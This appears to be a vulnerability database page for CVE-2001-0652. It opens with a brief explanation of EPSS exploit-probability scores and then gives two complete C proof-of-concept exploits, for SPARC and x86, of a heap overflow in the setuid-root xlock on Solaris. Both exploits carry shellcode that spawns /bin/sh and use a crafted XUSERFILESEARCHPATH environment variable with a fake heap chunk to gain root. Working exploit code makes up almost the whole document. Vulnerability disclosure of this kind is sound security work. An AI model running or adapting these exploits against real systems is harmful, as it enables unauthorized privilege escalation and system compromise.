CVE-2001-0652 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/3160/info Xlock is a utility for locking X-windows displays. It is installed setuid root because it uses the user's password to authorize access to the display when it is locked. The version of xlock that ships with Solaris as part of OpenWindows contains a heap overflow in it's handling of an environment variable. Local attackers may be able to execute arbitrary code with effective privileges of xlock. /* * sol_sparc_xlockex.c - Proof of Concept Code for xlock heap overflow bug. * Copyright (c) 2001 - Nsfocus.com * * Tested in Solaris 2.6/7/8 SPARC * * DISCLAIMS: * This is a proof of concept code. This code is for test purpose * only and should not be run against any host without permission from * the system administrator. * * NSFOCUS Security Team <security@nsfocus.com> * http://www.nsfocus.com */ #include <stdio.h> #include <stdlib.h> #include <sys/systeminfo.h> #define RETLOC 0xffbee8c4 /* default "return address" location (Solaris 7) */ #define SP 0xffbefffc /* default "bottom" stack address (Solaris 7/8) */ #define VULPROG "/usr/openwin/bin/xlock" #define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */ char shellcode[] = /* from scz's shellcode for SPARC */ "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\xaa\x1d\x40\x15" "\x81\xc3\xe0\x14\xaa\x1d\x40\x15\xaa\x1d\x40\x15\x90\x08\x3f\xff" "\x82\x10\x20\x8d\x91\xd0\x20\x08\x90\x08\x3f\xff\x82\x10\x20\x17" "\x91\xd0\x20\x08\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65" "\x20\x80\x3a\x29\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34" "\x92\x0b\x80\x0e\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc" "\xc0\x2a\x20\x07\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f" "\x82\x10\x20\x01\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff"; /* get current stack point address */ long get_sp(void) { __asm__("mov %sp,%i0"); } long get_shelladdr(long sp_addr, char **arg, char **env) { long retaddr; int i; char plat[256]; char pad = 0, pad1; int env_len, arg_len, len; /* calculate the length of "VULPROG" + argv[] */ for (i = 0, arg_len = 0; arg[i]!=NULL ; i++) { arg_len += strlen(arg[i]) + 1; } /* calculate the pad nummber . */ pad = 3 - arg_len % 4; printf("shellcode address padding = %d\n", pad); memset(env[0], 'A', pad); env[0][pad] = '\0'; /* get environ length */ for (i = 0, env_len = 0; env[i]!=NULL; i++) { env_len += strlen(env[i]) + 1; } /* get platform info */ sysinfo(SI_PLATFORM, plat, 256); len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1; printf("stack arguments len = %#x(%d)\n", len, len); pad1 = len % 4; if(pad1 == 3 ) pad1 = 5; else pad1 = 4 - pad1; printf("the padding zeros number = %d\n\n", pad1); /* get the exact shellcode address */ retaddr = sp_addr - pad1 /* the trailing zero number */ - strlen(VULPROG) - 1 - strlen(plat) - 1 ; for(i--;i>0;i--) retaddr -= strlen(env[i]) + 1; printf("Using RET address = 0x%x\n", retaddr); return retaddr; } /* End of get_shelladdr */ int main(int argc, char **argv) { char buf[2048], fake_chunk[48]; long retaddr, sp_addr = SP; char *arg[24], *env[24]; char padding[64]; long retloc = RETLOC; unsigned int *ptr; char ev1[]="XUSERFILESEARCHPATH="; long ev1_len; long overbuflen = 1024; if (argc > 1) /* you need adjust retloc offset in your system */ retloc += atoi(argv[1]); arg[0] = VULPROG; arg[1] = NULL; bzero(buf, sizeof(buf)); ev1_len = strlen(ev1); memcpy(buf, ev1, ev1_len); memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk)); env[0] = padding; /* put padding buffer in env */ env[1] = shellcode; /* put shellcode in env */ env[2] = buf; /* put overflow environ */ env[3] = NULL; /* end of env */ /* get stack "bottom" address */ if(((unsigned char) (get_sp() >> 24)) == 0xef) { /* Solaris 2.6 */ sp_addr = SP - 0x0fbf0000; retloc -= 0x0fbf0000; } retaddr = get_shelladdr(sp_addr, arg, env); printf("Using retloc = 0x%x \n", retloc); memset(fake_chunk, '\xff', sizeof(fake_chunk)); ptr = (unsigned int *) fake_chunk; *(ptr + 0) = 0xfffffff9; *(ptr + 2) = retaddr - 8; *(ptr + 8) = retloc - 8; memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk)); execve(VULPROG, arg, env); perror("execle"); } /* End of main */

// source: https://www.securityfocus.com/bid/3160/info Xlock is a utility for locking X-windows displays. It is installed setuid root because it uses the user's password to authorize access to the display when it is locked. The version of xlock that ships with Solaris as part of OpenWindows contains a heap overflow in it's handling of an environment variable. Local attackers may be able to execute arbitrary code with effective privileges of xlock. /* * sol_x86_xlockex.c - Proof of Concept Code for xlock heap overflow bug. * Copyright (c) 2001 - Nsfocus.com * * Tested in Solaris 8 x86. * * DISCLAIMS: * This is a proof of concept code. This code is for test purpose * only and should not be run against any host without permission from * the system administrator. * * NSFOCUS Security Team <security@nsfocus.com> * http://www.nsfocus.com */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <strings.h> #include <sys/types.h> #define RETLOC 0x080463c8 /* default retrun address location (Solaris 8 x86) */ #define SP 0x08047ffc /* default "bottom" stack address (Solaris 8 x86) */ #define VULPROG "/usr/openwin/bin/xlock" char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x28\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x8b\xec\x83\xec\x64\x33\xd2\xc6\x45\xce\x9a\x89" "\x55\xcf\x89\x55\xd3\xc6\x45\xd3\x07\xc6\x45\xd5" "\xc3\x89\x55\xfc\x83\xed\x32\x33\xc0\x50\x50\xb0" "\xca\xff\xd5\x83\xc4\x08\x31\xc0\x50\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89" "\xe2\x50\x52\x53\xb0\x3b\xff\xd5"; int main(int argc, char **argv) { char buf[2048], fake_chunk[48]; long retaddr, sp_addr = SP; char *arg[24], *env[24]; long retloc = RETLOC; unsigned int *ptr; char ev1[]="XUSERFILESEARCHPATH="; long ev1_len; long overbuflen = 1024; if (argc > 1) /* adjust retloc */ retloc += atoi(argv[1]); bzero(buf, sizeof(buf)); ev1_len = strlen(ev1); memcpy(buf, ev1, ev1_len); memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk)); arg[0] = VULPROG; arg[1] = NULL; env[0] = shellcode; /* put shellcode in env */ env[1] = buf; /* put overflow environ */ env[2] = NULL; /* end of env */ /* get the not exact shellcode address :) */ retaddr = sp_addr - strlen(VULPROG) - 1 - strlen("i86pc") - 1 - strlen(buf) - 1 - strlen(shellcode) - 1; printf("Using RET address = 0x%lx\n", retaddr); printf("Using retloc = 0x%lx \n", retloc); ptr = (unsigned int *) fake_chunk; memset(fake_chunk, '\xff', sizeof(fake_chunk)); *(ptr + 0) = 0xfffffff9; *(ptr + 2) = retaddr; *(ptr + 8) = retloc - 8; memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk)); execve(VULPROG, arg, env); perror("execle"); return(1); } /* End of main */